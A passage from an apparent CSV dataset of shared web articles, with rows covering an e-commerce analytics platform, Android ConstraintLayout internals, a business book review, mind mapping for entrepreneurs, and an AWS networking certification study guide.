anos, a companhia espera estar presente em 30% das transações dos maiores varejistas digitais nacionais. A estratégia, no entanto, é criar uma rede de parceiros e canais que permitam entregar e suportar a solução também para pequenos e médios negócios do país, atingindo o potencial dos e-commerces menores que buscam se diferenciar e entender o comportamento do cliente através do big data. Para isso, a empresa deverá trabalhar até o final do ano em uma versão da plataforma na qual todas as opções de customização poderão ser controladas pelo próprio cliente, o que simplificará e diminuirá o custo de adesão da plataforma para PMEs. Desde março a empresa já tem trabalhado com a plataforma ativa entre alguns clientes pilotos, a processando hoje cerca de 16 milhões de requisições por dia a uma média de 2 terabytes de dados por mês. Entre os primeiros e-commerces a adotar a plataforma da Biggy estão a Loja do Flamengo, a Under Armour e a Centauro - que já viu um aumento de 6% em vendas no período.",pt
1469726527,CONTENT SHARED,-6598777110696521045,-1836083230511905974,3866583110032891824,,,,HTML,http://wiresareobsolete.com/2016/07/constraintlayout-part-1/,"ConstraintLayout, Inside and Out: Part 1","ConstraintLayout and the layout editor tools are currently in preview. The information in this post is based on the code and behavior of constraint-layout:1.0.0-alpha4 . These behaviors may change as the tools approach final release. Google I/O 2016 came with an announcement of new tools and libraries designed to improve the layout experience building Android applications. Android Studio has been equipped with a constraint-based visual layout editor, coupled with the new ConstraintLayout container to interpret those constraints at runtime. This post is focused on examining the ConstraintLayout container architecture and how it does its job. The features of the new Android Studio layout editor are primarily designed to make the powerful and flexible features of this container easier for developers to manage. By gaining a deeper understanding of ConstraintLayout , we will be better equipped to use the developer tools. ConstraintLayout is distributed as an unbundled support library, so you will see many of the XML attributes in this post prefixed with app: instead of android: since they are coming from the local package namespace. Let's begin by defining what a constraint is...​ Types of Constraints From the Google page linked above, a constraint placed on a view is ""a description of how that view should be positioned on the screen relative to other elements in the layout."" In other words, constraints connect points on a view (called anchor points ) to a target of some kind. That target could be: A related anchor point on a sibling view A related anchor point of the parent container A guideline (more on this later) Each view supports the following anchor points as either the source or target of a constraint: Top, Bottom, Left, and Right (or Start and End) CenterX and CenterY Baseline (text-based views only) In XML, constraints take the following format: layout_constraint[SourceAnchor]_[TargetAnchor]=""[TargetId]"" For example, a constraint between the end of @id/button_cancel and the start of @id/button_next would look like: In the visual layout editor, when you connect these two views with an arrow to represent the constraint, the tools simply add that line of XML to the file. Here's a more complete example of some ConstraintLayout XML: In this case, we have a few constraints aligning the Button views to the parent container. They take the same format as we saw previously, but the target is the id of the ConstraintLayout instance. Constraints always reference targets by android:id . If your views do not have an id attribute defined when a constraint is added, the Android Studio layout editor will create one for you in order to create the constraint. You may have also noticed from the last example that ConstraintLayout supports margins. By default, a constraint between two views will be interpreted to align those views immediately next to each other. Margins are required if you want to apply spacing between them. Sounds a lot like RelativeLayout so far, doesn't it? Biasing Constraints When a view is constrained on both sides of the same axis, it will be spaced evenly between the two target anchor points by default. The following XML centers a button inside the parent container: This is a nice feature on it's own, but ConstraintLayout takes it up a notch with a concept called bias . Bias applies a weighted proportion to the pair of constraints to unevenly distribute the spacing. For example: Now the same button is weighted with a 25/75 split of the available space on each axis. This is more akin to the weight system in LinearLayout or GridLayout . But it's even better than that, because the view doesn't have to fill the available space in order to make use of it. Technically, when no bias constraint is present, the bias is 0.5 . This is why the default behavior is to center the view. You can hopefully start to see how ConstraintLayout has the power to flatten view hierarchies. It can behave like any of the existing framework layout managers, or all of them at once! Anchoring to Guidelines In cases where an arbitrary anchor point is needed for view alignment, ConstraintLayout supports guidelines . A Guideline is actually a subclass of View , and is added to the layout just like any other child. Guidelines have a few special properties: They always measure their size to be 0 They force their own visibility to View.GONE So while they exist as view in the container, they are never accounted for in layout. They exist purely to provide guideline attributes to define a horizontal or vertical anchor point for other view. Let's look at an example: A vertical guideline is set at 72dp from the start of the container. Each Button can now use that guideline as its constraintStart target to align their edges against the same arbitrary point. Guidelines can have one of three attributes: layout_constraintGuide_begin : Absolute distance from the starting edge layout_constraintGuide_end : Absolute distance from the ending edge layout_constraintGuide_Percent : Percentage distance from the starting edge From the perspective of constraints, a guideline is a valid target for any anchor point found on the same axis (horizontal or vertical). As such, it must also have a valid id defined. In the current alpha, there is a bug where the constraints are not properly honored if the Guideline appears after the views trying to reference it in the XML. To work around this, always add your guidelines first (in the visual editor) or manually place them at the top of your XML. View Measurements We've talked a lot about view positioning so far. I'd like to take a moment to quickly discuss view sizing. ConstraintLayout applies slightly different sizing rules to views than you are probably used to. There are three size definitions that can apply to the width or height of any child view: Exact: Measure to a specific size (usually given in dp) Wrap Content: Measure to fit the view's content Any Size: Measure to fill the available space for the attached constraints Whoa, curveball! What happened to match_parent ?! ConstraintLayout doesn't support it, and I'll explain why later. The short version is that any size effectively replaces the match parent use cases in a way that better obeys the constraints applied. Any attempt to add match_parent to a view from the visual layout editor will be overridden, and if you're crafty enough to add it from XML it will produce very awkward results in terms of gravity and positioning of content. Just don't use it. Using any size , we can ask the view to stretch on that axis up to the attached constraints. Another example perhaps? By setting layout_width to 0dp , the second button fills the space between the end of the first button and the end of the parent container. This is again similar to the current behavior of weights in the framework, but applied in a much more flexible manner. One More Thing...​ A common UI layout task involves sizing a view to a particular aspect ratio . This is extremely common with images, whether it's square ( 1:1 ), 4:3 , 16:9 , or something more custom. With ConstraintLayout , you will no longer have to create a custom subclass of View or ViewGroup thanks to layout_constraintDimensionRatio . This feature requires one of the dimensions in the attached view to be ""known"" (fixed dimension or wrap_content ) and the other to be ""any size"" ( 0dp ). The ""any size"" dimension will be measured to maintain the appropriate ratio set by the constraint. Sorry SquareImageView and AspectImageView , we have no need for you anymore...​ What's Next? Hopefully you now have a solid understanding of what ConstraintLayout can do, even if you don't have the layout editor tools to lean on. The XML generated for constraints is quite straightforward and intuitive to follow once you understand the syntax. In the next post, we are going to focus on how ConstraintLayout solves all those constraints to provide the view positions and sizes. We'll be diving into the implementation to understand the mechanics at play during the measure and layout passes at runtime. You can see more examples of ConstraintLayout in action by visiting the Layout Pancake sample repository on GitHub.",en
1469726572,CONTENT SHARED,6797033574746412211,-1836083230511905974,3866583110032891824,,,,HTML,http://wiresareobsolete.com/2016/07/constraintlayout-part-2/,"ConstraintLayout, Inside and Out: Part 2","ConstraintLayout and the layout editor tools are currently in preview. The information in this post is based on the code and behavior of constraint-layout:1.0.0-alpha4 . These behaviors may change as the tools approach final release. In the last post, we spent some time exploring the various constraints that are available for use with ConstraintLayout . Now let's dive deeper into the mechanics of this flexible new tool, starting with how the code is organized internally. Where Do You Put It All? As with any ViewGroup , each child view is attached to a LayoutParams instance when it is added to the ConstraintLayout container. From within XML layouts, all attributes prefixed with layout_ are added to the LayoutParams instance for that view. Recall from the last article that all constraints are defined with this same prefix, thus you will find them stored in LayoutParams . Each LayoutParams instance contains another component called the ConstraintWidget , which contains the logic to process and analyze the constraints. Each ConstraintWidget is connected back to a parent ConstraintWidgetContainer , forming a relationship similar to that between a parent ViewGroup and the child views. The ConstraintWidget holds all the relevant information about the view's position and size as it is computed from the constraints. It becomes the source of truth for measurement and layout data when needed by the framework rather than the LayoutParams . During layout, each ConstraintWidget is filled with the constraint information from LayoutParams . The widget defines a ConstraintAnchor for each ""connectable"" point (left, right, top, bottom, baseline, center), and these anchors are attached together to form a simple graph of the constraints applied to each view. Measurement Process If you want to better understand any ViewGroup , a great place to start is analyzing the onMeasure() and onLayout() methods within it. For the uninitiated, these are the methods on any view that describe the size and position of that view and its children (in the case of ViewGroup ). A quick tour through the onMeasure() of ConstraintLayout reveals the following high-level process: Having any size views in the container automatically adds a second pass through the measure process (or most of it, anyway). From the last post, you may remember that views inside a ConstraintLayout have unique measurement characteristics - match_parent doesn't work and we can set a dimension to 0dp to cause it to be any size . Have a look at the following snippet from ConstraintLayout measurement: For measurement purposes, any size is equivalent to wrap_content and other values (such as match_parent ) would be passed through un-checked. These measurements don't take into account any constraints, so a match_parent view would generally just set its dimension to equal that of the parent container. Keep that in mind for just a moment. I said before that size-dependent (i.e. any size ) views are measure again after constraints are applied. The second measure pass looks something like this: The second time around, which happens after the constraints are applied, any size views are re-measured to be exactly the width or height that the constraints system computed. The same process does not happen for a view marked as match_parent . This is important because many views rely on measurements to compute content placement. Gravity on a Button or TextView , for example, aligns the text based on the view's measured size, not its actual layout position. So why doesn't match_parent work in ConstraintLayout ? Because the view bounds are computed against the applied constraints, but the view measurement does not account for the same constraints. This leads to odd behaviors in view content placement at runtime. View Layout Bounds As noted in the steps above, the view bounds (left, right, top, bottom) for each ConstraintLayout child are derived from analyzing the overall system of constraints. The top-level ConstraintWidgetContainer initiates its own ""layout"" pass where the widgets are traversed and their constraints evaluated to determine the view sizes and positions as a system of linear equations. After the system solution is computed (more on this below), each ConstraintWidget is updated with the proper bounds for its attached child view. The process during onLayout() then turns out to be quite simple, as ConstraintLayout needs only to iterate over its children and set their bounds values. Something akin to the following: Analyzing the Constraints ConstraintLayout distills the constraints applied by views down to a system of linear equations that it can solve at runtime to determine the positions of each anchor point. This, in turn, defines the bounds of the corresponding view. During onMeasure() , each anchor point becomes a system variable, and each constraint is converted into an equation to describe how the attached variables relate to each other. Once the system of equations is built, ConstraintLayout implements a solver using the Cassowary algorithm to compute the values of each variable. Cassowary is implemented in many other platforms and languages for various use cases. On Apple platforms, for example, the Auto Layout solver is driven by the same algorithm. Here is some fun reading on the use of Cassowary on other platforms and systems. First, constraints are added for the sizing of the parent container. Next, each ConstraintWidget is given a chance to add its own constraints until we end up with one large ""table"" of equations for the solver to attack. As each constraint is added, related equations are connected and simplified wherever possible. This reduces the amount of work to minimize the system later on. To illustrate what the equations look like in more detail, let's look at an example...​ Simple Centering Constraints Think of an XML layout where the Button is centered on both axes in the parent container: This layout produces the following set of 16 constraint equations for the solver to determine the bounds (L/R/T/B) of parent and child: (h = height, w = width, m = margin) \$L_P = x\$ \$R_P = L_P + w_P\$ \$T_P = y\$ \$B_P = T_P + h_P\$ These four equations are defined by the parent ConstraintWidgetContainer . The parent constraints are fairly straightforward, and essentially just define the boundaries that will be used for the others. X and Y are always zero (since measurements are parent-relative). These come from the horizontal centering constraints. The positioning constraints are inequalities, so finding the solution requires additional information. A third constraint equation is added that guarantees the spacing is even on each side (we'll call this the centering constraint ) by verifying that the sum of the two child bounds is equal to the sum of the same parent bounds. These come from the vertical centering constraints. Notice they are similar to the group above, but for the top and bottom bounds instead. Summary There is no doubt that ConstraintLayout is a complex piece of code, and we've only uncovered a small portion of how it works and what it can do. However, despite its complexity, I hope you now have a better understanding of what constraints are and how they get evaluated. I would encourage you to step through the code of a simple layout and identify the linear equations it produces. See if you can solve them yourself and come up with the same result as the tools! Then, perhaps ConstraintLayout will feel a bit less like magic and more like a tool that you can wield with confidence.",en
1469728044,CONTENT SHARED,4345055131254210605,7580644064067188685,-5507214330437342170,,,,HTML,https://www.amazon.com.br/Digital-Transformation-Playbook-Business-Publishing-ebook/dp/B01C3I2ESM,The Digital Transformation Playbook: Rethink Your Business for the Digital Age (Columbia Business School Publishing) eBook Kindle,"It can feel difficult to keep up at times, what with businesses being transformed, changed, adapted or disrupted by digitalisation. For the business that keeps up, it can be highly beneficial, yet it is still a distracting, disorientating state of affairs for far too many. A business may want to change (that is part of the battle already won) but figuring out how to do it can be something else. Oh, what to do...! This book may help, promising a host of practical advice, based around five major rules, that should help businesses of all sizes adapt, innovate and maximize value creation. A host of case studies round this off, showing how other companies have successfully transformed their business activities. Customers, competition, data, innovation and value are what the author calls the five domains of digital transformation. Get all of these sorted and you are laughing. Yet what is transformation? It is more than just sticking an analogue process into a digital world. One good example given is the Encyclopaedia Britannica, once the ""gold standard"" of knowledge with its 32 leather-bound volumes lining every school and public library shelves (as well as the homes of many who were persuaded by smooth-talking salesmen). CD-ROMs such as Encarta and then the Internet came and online resources started to eat it for dinner. Now where do most people search? Possibly Wikipedia, being well-indexed by search engines such as Google. Now the company has lost in one market but it has managed to pivot and find a new market - it might not be as lucrative or as well-known but it transformed and not break the business in half as a result. That is an example of transformation in action. The book has plenty more of them. It leads to an engaging and interesting read that dispenses a fair bit of knowledge along the way. It is a book that may demand a lot from the reader since they have to seek to put the advice into action, yet the end result can be worth a little pain. What may the alternative be? It was a good read that could be also relevant to the curious generalist with no business to transform. It is quite accessible and broad in reach, so there is something for every reader. The style might not necessarily be something everyone will get on with, but the sum of its knowledge may make up for any perceived small issues and grumbles.",en
1469732922,CONTENT SHARED,2375950438753851487,3609194402293569455,-3607853734254017965,,,,HTML,http://saiadolugar.com.br/empreendedorismo/mapa-mental/,Mapa mental: a chave para organizar seus projetos!,"Um dos personagens mais clássicos da história da literatura é Sherlock Holmes. Conhecido por ser um gênio, um exímio observador, realizar conexões e deduções quase impossíveis para os simples mortais, o detetive inglês surpreende pela sua capacidade mental de excelência. As essências das suas investigações sempre foram dissecadas por especialistas literários e foram produzidos inúmeras séries e filmes sobre o personagem. Cada um ressalta sobre uma habilidade de Holmes, mas todas ressaltam a sua capacidade de realizar um mapa mental de primeira. Dotado dessa habilidade, ele passou de um detetive comum para um inesquecível e referenciado por todo o mundo. O objetivo desse post é justamente te ajudar pensar como um verdadeiro detetive. Os mapas mentais são diagramas utilizados para organizar os pensamentos, os insights e os conceitos em torno de uma ideia principal. Normalmente, o tema em questão é posicionado no centro do mapa. Depois, vamos relacionando as que se ligam, os ideais que se conectam, as palavras que fazem sentido e ainda as referências que agregam. Todos esses princípios levantados funcionam como ramos secundários conectados a uma ideia central. No final, você possui um esquema prático, visual e bem ilustrativo de todo a amplitude da ideia. Um mapa mental é uma ferramenta muito interessante para análise de viabilidade, brainstorms , notas ou ainda tomada de decisão. Acredite: aposta na sua confecção é trabalhar como um gênio e ainda atingir um nível muito algo no seu grau de excelência. Nesse post vamos contextualizar mais sobre como funciona o mapa mental, suas vantagens e ainda dar algumas boas dicas de como criar mapas mentais para organizar seus projetos. Como funciona um mapa mental? Apesar do mapa mental ser utilizado por Sherlock Holmes , sua origem foi creditada ao escritor e consultor em educação Tony Buzan na década de 1970. Sua ideia foi inicialmente ajudar as pessoas a aumentarem seus processos cognitivos e aumentarem a função do seu cérebro. O que acontece é que sua mente possui uma capacidade ilimitada de associações e extrair o máximo você só precisa entender seus pensamentos de forma prática e simples. Já percebeu como que funciona quando você ouve uma música, sente um cheiro ou ainda degusta um sorvete? Essas ações disparam uma série de sensações que podem ser representadas como uma esfera central - ou ainda se dividir em diversas camadas de pensamentos. Esse processo é conhecido como radial pensamento e é representado graficamente por um mapa mental. Como dizemos na introdução, tudo começa com uma ideia no centro de uma página. Todas as outras ideias representadas por palavras, símbolos ou imagens estão relacionadas ao elemento central. Para te ajudar a visualizar, imagine uma teia de aranha. A ideia principal por detrás da metodologia consiste em estruturar o pensamento, compreender as problemáticas e encontrar soluções. Além de ajudar a memorizar informações. Além de ser útil para aprender algo, desenvolver uma boa ideia, roteirizar manuais e livros, organizar eventos, palestras ou realizar brainstorming , os mapas mentais possuem uma função excelente para os pequenos e jovens empreendedores. Ajuda a projetar o workflow - uma espécie de fluxo - de uma empresa e ainda auxilia na gestão estratégica. A elaboração de bons mapas mentais esclarece as ideias e os pensamentos. Aplicando o mapa mental no dia a dia da empresa Criatividade é algo essencial para as empresas atuais. Normalmente, não falta boas ideias para as equipes. O que falta é aproveitá-las ao máximo e ainda gerar uma visão sistêmica do negócio como um todo. É aqui que entra o mapa mental. Você ainda pode aplicar essa ferramenta para: Organizar a rotina diária Coloque como ideia principal as suas atividades do dia. Depois, é apenas linkar com a lista de tarefas necessárias como montar um website, otimizar o marketing de relacionamento, organizar as informações para uma palestra ou um evento. Ou ainda aumentar a sua produtividade diária. Buscar oportunidades de negócio Uma das aplicações do mapa mental é fazer o mapeamento do seu mercado. Ele pode ser útil na análise das tendências, das demandas do consumidor, avaliar os nichos de mercado, como acrescentar uma oferta de valor... Estruturar um negócio já existente Conheço empreendedores que utilizam a ferramenta para elaborar um plano de negócios para seus projetos com o mapa mental. Ainda pode ser aplicado para o planejamento de marketing e vendas, de recursos humanos ou ainda para organizar a hierarquia de um projeto. Planejamento financeiro Da mesma forma que existem pessoas que utilizam a ferramenta para elaborar um plano de negócios, o mapa mental também pode assumir a funcionalidade de um planejamento financeiro preciso. É apenas colocar uma ideia principal, como reforma do plano de comunicação e então ir puxando as setas para cada uma das ações. Planejar um novo negócio Como você viu, o mapa mental é uma excelente ideia de como pensar no seu negócio como um todo. Ele possibilita visualizar o quadro completo e não deixar nenhuma informação escapar. O que acha de utilizá-lo no planejamento de um novo empreendimento? Em suma, um mapa mental é uma forma excelente de registrar informações de forma atraente e organizar com eficácia tudo que você precisa fazer. Você pode tanto elaborar um mapa mental único ou ainda apostar em uma série de mapas mentais. Como montar um mapa mental Até agora falamos muito da teoria. Está na hora de arregaçarmos as mangas e colocar as ideias em prática. Para montar um mapa mental na raça, pegue um papel A4, lápis de cor, canetinha ou giz de cera. Separe um assunto prioridade Comece pelo tema principal. Coloque bem no centro da folha o elemento principal. Depois pense em quais seriam os ramos secundários e vá puxando, um por um. Assim, esse se torna um subtópico dos ramos principais. E você vai puxando e aprofundando cada vez mais a abordagem. Use e abuse das palavras-chave O legal não é fazer textos muito longos e sim, usar palavras chave para um determinado assunto. Por exemplo, se você pensa em montar uma agência de publicidade (esse seria o tema principal) puxe uma seta para cada um dos serviços que você pretende oferecer como ""layout"", ""logo e identidade visual"" ou ainda ""marketing digital"". Utilize muitas cores diferentes As cores entram para padronizar as ideias. Cada um dos ramos seria pintada com uma cor diferente. Com a prática você vai criando cores padrões para suas linhas de pensamento, como amarelo indica as ideias novas, vermelho as que estão mais maduras e azul as que necessitam ainda pesquisa. Dica extra: Acrescente sempre desenhos. Além de facilitar a memorização, eles ajudam a fazer uma associação mental com o que você escreveu. Isso ajuda na hora de pensar em soluções para seus problemas. Buscando informação para os meus mapas mentais Comece fuçando dentro da sua cabeça. Pense no que queira organizar. Está começando a escrever um livro? O que acha de reorganizar as informações no mapa mental? Quando colocar tudo no papel, as ideias vão começar a fervilhar. Então, complemente com referências interessantes. Uma das melhores formas de realizar uma curadoria de ideias é utilizar ferramentas como o Pocket ou o Pinterest. Uma ideia interessante é começar a mapear tudo que você vê pela frente. Está lendo um livro, comece a mapear os capítulos. Mapeie as aulas online e com experiência você vai começar a mapear as aulas ao vivo. Veja um filme e então, mapeie as principais ideias. Com expertise em pouco tempo você vai conseguir realizar os mapas mentais necessários para jogar luzes novas e surpreendentes no seu negócio ou empreendimento. Ferramentas que podem ajudar nos seus mapas mentais Se você ainda não está satisfeito ou não é mais adepto a preencher as coisas a mão existem algumas ferramentas que podem te ajudar no processo. A primeira delas é o Mind Meister - um software de mapeamento mental e brainstorm. Existem alguns planos gratuitos que permitem que sejam criados até três mapas. O legal dessa ferramenta é que permite que sua equipe inteira tenha acesso ao mapa e ainda complete com as informações que achar necessário. É uma forma colaborativa de completar o mapa mental. Outra ferramenta legal é um material disponibilizado pela Endeavor . Possui até três diagramas estruturados, com caixas para os tópicos primários, secundários e terciários. Então, é só preencher. No mesmo estilo do Mind Meister, o GoConqr possui mais ou menos a mesma proposta. A ideia é promover a aprendizagem social através da ferramenta. Eles seguem os mesmos princípios de criação colaborativa pela integração de toda a equipe na criação dos mapas mentais. Bônus: Caso você tenha realmente se interessado pelo assunto, aproveite e leia o livro do Tony Buzan sobre a elaboração de mapas mentais. Lembrando que a ideia pode ter séculos de existência mas antes apenas existia na cabeça do famoso detetive. Foi esses especialistas que expôs a ideia para o mundo e ajudou a milhares de empreendedores como você a utilizá-lo. Pronto! Agora você já está mais do que preparado para produzir seu mapa mental e aproveitar todas as funcionalidades incríveis que essa brilhante ferramenta oferece. Reúna a sua equipe em uma sessão de brainstorm e mãos a obras. Esperamos que você tenha gostado desse conteúdo! O que acha de ler mais sobre Como investir na crise e continuar crescendo no mercado?",pt
1469747560,CONTENT SHARED,5062670850994683718,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/07/11/11-07-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 4.0: Network Design for a complex large scale deployment (10%),"4.1 Demonstrate ability to design and implement networking features of AWS VPC is a Virtual Private Cloud. You can have up to 5 on an AWS account, if you need more you can raise a ticket Create a VPC you need a CIDR block, a name tag and tenancy type of default or dedicated. Dedicated costs money, default doesn't Creating a VPC automatically creates a routing table Subnets map to AZs on a one to one basis Amazon reserve five IP addresses on a subnet One Internet Gateway per VPC There is a default routing table but you can also create your own routing tables and assign them to subnets Public subnets are publically accessible from the internet, private ones aren't AMI is used for the NAT device, runs on Amazon Linux Remember to disable source/destination checks on your NAT instance, or traffic will not be routed NAT Gateways can be used to provide up to 10Gbps traffic out from a private subnet to the internet. For more bandwidth or to scale, add more gateways. Remember though that NAT Gateways and subnets have a one to one relationship in the sense that if you add a route to 0.0.0.0/0 to the NAT Gateway, you can't add another route to 0.0.0.0/0 for failover. You would need to split the routes up. Create an Endpoint to send S3 traffic over the AWS backbone rather than the public internet. You add a route table entry to use the Endpoint reference to send S3 traffic via the endpoint. Endpoints are created at VPC level. Create a VPC policy to restrict access to buckets within S3 from certain principals. Can also be used in concert with bucket policies for further security. Can't cross regions with S3 Endpoints, so can't copy a bucket from one region to another using an Endpoint VPC peering connects two VPCs together within the same region. This can be the same AWS account or different accounts There is no single point of failure and it does not use a VPN, bridge or gateway to make the connection Transitive peering is not supported and peered VPCs must not have overlapping CIDR blocks Soft limit of 50 VPC peers per account Placement groups can span peered VPCs but you will not get the full bandwidth between instances in peered VPCs A placement group is a logical grouping of instances within a single Availability Zone. Using placement groups enables applications to participate in a low-latency, 10 Gbps network. Placement groups are recommended for applications that benefit from low network latency, high network throughput, or both. To provide the lowest latency, and the highest packet-per-second network performance for your placement group, choose an instance type that supports enhanced networking You are charged for data transfer within a VPC peering connection at the same rate as you are charged for data transfer across Availability Zones. The Maximum Transmission Unit (MTU) across a VPC peering connection is 1500 bytes You cannot have more than one VPC peering connection between the same two VPCs at the same time You cannot reference a security group from the peer VPC as a source or destination for ingress or egress rules in your security group. Instead, reference CIDR blocks of the peer VPC as the source or destination of your security group ingress or egress rules (you can from 1st March) An instance's public DNS hostname will not resolve to its private IP address across peered VPCs Some use cases for VPC peering:- Your company's IT department has a VPC for file sharing. You want to peer other VPCs to that central VPC, however, you do not want the other VPCs to send traffic to each other Your company has a VPC that you want to share with your customers. Each customer can create a VPC peering connection with your VPC, however, your customers cannot route traffic to other VPCs that are peered to yours, nor are they aware of the other customers' routes You have a central VPC that is used for Active Directory services. Specific instances in peer VPCs send requests to the Active Directory servers and require full access to the central VPC. The central VPC does not require full access to the peer VPCs; it only needs to route response traffic to the specific instances The routing table entry must have the CIDR block to be reached in the peered VPC (such as 10.0.2.0/24) and the target VPC connection (such as pcx-aaaaeeee ) VPCs can be configured to peer and access resources in a specific subnet by using routing table entries to match that subnet. This also allows for peered connections to other VPCs where CIDR blocks will overlap. For example:- The route table for subnet X points to VPC peering connection pcx-aaaabbbb to access the entire CIDR block of VPC B. VPC B's route table points to pcx-aaaabbbb to access the CIDR block of only subnet X in VPC A. Similarly, the route table for subnet Y points to VPC peering connection pcx-aaaacccc to access the entire CIDR block of VPC C. VPC C's route table points to pcx-aaaacccc to access the CIDR block of only subnet Y in VPC A Peered connections can be configured to route between one subnet and a VPC only by creating a routing table and adding it to that specific subnet If you have a VPC peered with multiple VPCs that have overlapping or matching CIDR blocks, ensure that your route tables are configured to avoid sending response traffic from your VPC to the incorrect VPC. AWS currently does not support unicast reverse path forwarding in VPC peering connections that checks the source IP of packets and routes reply packets back to the source For example, you have the same configuration of one VPC peered to specific subnets in two VPCS. VPC B and VPC C have matching CIDR blocks, and their subnets have matching CIDR blocks. The route tables for VPC A, subnet A in VPC B, and subnet B in VPC C remain unchanged. The route table for subnet B in VPC B points to the VPC peering connection pcx-aaaabbbb to access VPC A's subnet To route traffic to a specific instance in another VPC, add a routing table entry with the IP address and /32 - for example, if you need to route from 10.0.1.20 in VPC A to 192.168.1.56 in VPC B, add a route table entry for 192.168.1.56/32 with a target of pcx-aaabbbb to ensure traffic is routed to the correct VPC Longest prefix match is used when routing traffic to a specific instance in a VPC peer when CIDR blocks overlap. Traffic routing to a specific IP address takes precedence over a subnet entry as the prefix is longer (24 vs 32 for example) There can only be one route per subnet when overlapping CIDR blocks are in play, so where an entry already exists in VPC A for 192.168.1.0/24 to route to VPC B, you cannot have another entry for 192.168.1.0/24 to route to VPC B, you would have to restrict peering to another subnet in VPC B, such as 192.168.2.0/24 Invalid VPC peering configurations:- Overlapping CIDR blocks Transitive VPC peering Edge to edge routing. If VPC A has a peer to VPC B and VPC B has a VPN or Direct Connect connection to a corporate LAN, VPC A cannot use this connection to access resources in the corporate network Other scenarios not permitted:- A VPN connection or an AWS Direct Connect connection to a corporate network An Internet connection through an Internet gateway An Internet connection in a private subnet through a NAT device A ClassicLink connection to an EC2-Classic instance A VPC endpoint to an AWS service; for example, an endpoint to Amazon S3. To configure VPC peering:- Owner of VPC A sends a peering request to owner of VPC B VPC B owner accepts request VPC A and VPC B owners add a routing table entry to route traffic to the reciprocal VPC Security groups and/or NACLs may need reconfiguring to allow traffic 4.2 Demonstrate ability to design and implement connectivity features of AWS Direct Connect is a dedicated permanent connection between your premises and AWS. This is brokered via a third parties who are Direct Connect partners Supports 802.1q VLANs and you can partition the connection into multiple virtual interfaces, or VIFs 1Gbps or 10Gbps connections are available, sub 1Gpbs connections can be bought from Direct Connect partners (AT&T, Colt, Equinix, etc) Can help reduce costs when using lots of traffic Increase reliability and bandwidth, no longer dependent on internet links VPN connection more appropriate for quick setup and modest bandwidth requirements Direct Connect uses a public connection when accessing public resources such as EC2 instances and S3 buckets and uses a private connection when accessing resources such as VPC based resources Makes AWS a logical extension of your corporate network One private VIF connection per VPC (one to one mapping) Direct Connect is not inherently fault tolerant, this needs to be built in either by having a secondary Direct Connect or VPN, using BGP to fail over automatically to the backup connection VPN has two endpoints, Customer Gateway (CGW) and AWS connection (Virtual Private Gateway or VPG) - these concepts are not used by Direct Connect In the US, one Direct Connect connection will grant you access to all regions, traffic stays within the AWS internal network Layer 2 network connections not supported Prerequisites for Direct Connect include:- Your network is co-located with an existing AWS Direct Connect location You are working with an AWS Direct Connect partner who is a member of the AWS Partner Network (APN) You are working with an independent service provider to connect to AWS Direct Connect. Connections to AWS Direct Connect require single mode fiber, 1000BASE-LX (1310nm) for 1 gigabit Ethernet, or 10GBASE-LR (1310nm) for 10 gigabit Ethernet. Auto Negotiation for the port must be disabled. You must support 802.1Q VLANs across these connections Your network must support Border Gateway Protocol (BGP) and BGP MD5 authentication. Optionally, you may configure Bidirectional Forwarding Detection (BFD) To connect to Amazon Virtual Private Cloud (Amazon VPC), you must first do the following:- Provide a private Autonomous System Number (ASN). Amazon allocates a private IP address in the 169.x.x.x range to you Create a virtual private gateway and attach it to your VPC To connect to public AWS products such as Amazon EC2 and Amazon S3, you need to provide the following:- A public ASN that you own (preferred) or a private ASN Public IP addresses (/31) (that is, one for each end of the BGP session) for each BGP session. If you do not have public IP addresses to assign to this connection, log on to AWS and then open a ticket with AWS Support . The public routes that you will advertise over BGP AWS Direct Connect Limits:- Virtual interfaces per AWS Direct Connect connection - 50 (soft limit) Active AWS Direct Connect connections per region per account - 10 (soft limit) Routes per Border Gateway Protocol (BGP) session - 100 (hard limit) Sub 1Gbps connections only support a single VIF HPC uses Lustre and NFS file protocols, these can often require Jumbo Frames. These are only supported by enhanced networking (10Gbps NIC). Also use Placement Groups to keep instances together for high performance and low latency in a single AZ The following instances support enhanced networking:- Enhanced Networking is made possible using SR-IOV (single root I/O virtualisation) Must be done using HVMs and not PV instances A Placement Group is a logical grouping of instances within a single AZ Used for low latency connections between instances For lowest latency and highest throughput, choose an instance that supports Enhanced Networking The latest Amazon Linux HVM AMIs have the module required for enhanced networking installed and have the required attribute set. Therefore, if you launch an Amazon EBS-backed C3, C4, R3, or I2 instance using a current Amazon Linux HVM AMI, enhanced networking is already enabled for your instance Older HVMs can be enhanced networking enabled by updating to the latest kernel by running a sudo yum update Use the modinfo ixgbevf command to check if enhanced networking has been enabled If you lose connectivity while enabling enhanced networking, the ixgbevf module might be incompatible with the kernel. Try installing the version of the ixgbevf module included with the distribution of Linux for your instance 1 placement group per AZ, they don't span AZs Placement Groups can span subnets in the same VPC, but they must be in the same AZ Existing instances cannot be moved into an AZ It's best practice to size the placement group for the peak load and launch all instances at once Try to use the same instance types when creating a placement group Elastic Load Balancer (ELB) distributes traffic amongst instances in the multiple AZs You can use the operating systems and instance types supported by Amazon EC2. You can configure your EC2 instances to accept traffic only from your load balancer. You can configure the load balancer to accept traffic using the following protocols: HTTP, HTTPS (secure HTTP), TCP, and SSL (secure TCP). You can configure your load balancer to distribute requests to EC2 instances in multiple Availability Zones, minimizing the risk of overloading one single instance. If an entire Availability Zone goes offline, the load balancer routes traffic to instances in other Availability Zones. There is no limit on the number of connections that your load balancer can attempt to make with your EC2 instances. The number of connections scales with the number of concurrent requests that the load balancer receives. You can configure the health checks that Elastic Load Balancing uses to monitor the health of the EC2 instances registered with the load balancer so that it can send requests only to the healthy instances. You can use end-to-end traffic encryption on those networks that use secure (HTTPS/SSL) connections. [EC2-VPC] You can create an Internet-facing load balancer, which takes requests from clients over the Internet and routes them to your EC2 instances, or an internal-facing load balancer, which takes requests from clients in your VPC and routes them to EC2 instances in your private subnets. Load balancers in EC2-Classic are always Internet-facing. [EC2-Classic] Load balancers for EC2-Classic support both IPv4 and IPv6 addresses. Load balancers for a VPC do not support IPv6 addresses. You can monitor your load balancer using CloudWatch metrics, access logs, and AWS CloudTrail. You can associate your Internet-facing load balancer with your domain name. Because the load balancer receives all requests from clients, you don't need to create and manage public domain names for the EC2 instances to which the load balancer routes traffic. You can point the instance's domain records at the load balancer instead and scale as needed (either adding or removing capacity) without having to update the records with each scaling activity. Elastic Load Balancing supports the processing, storage, and transmission of 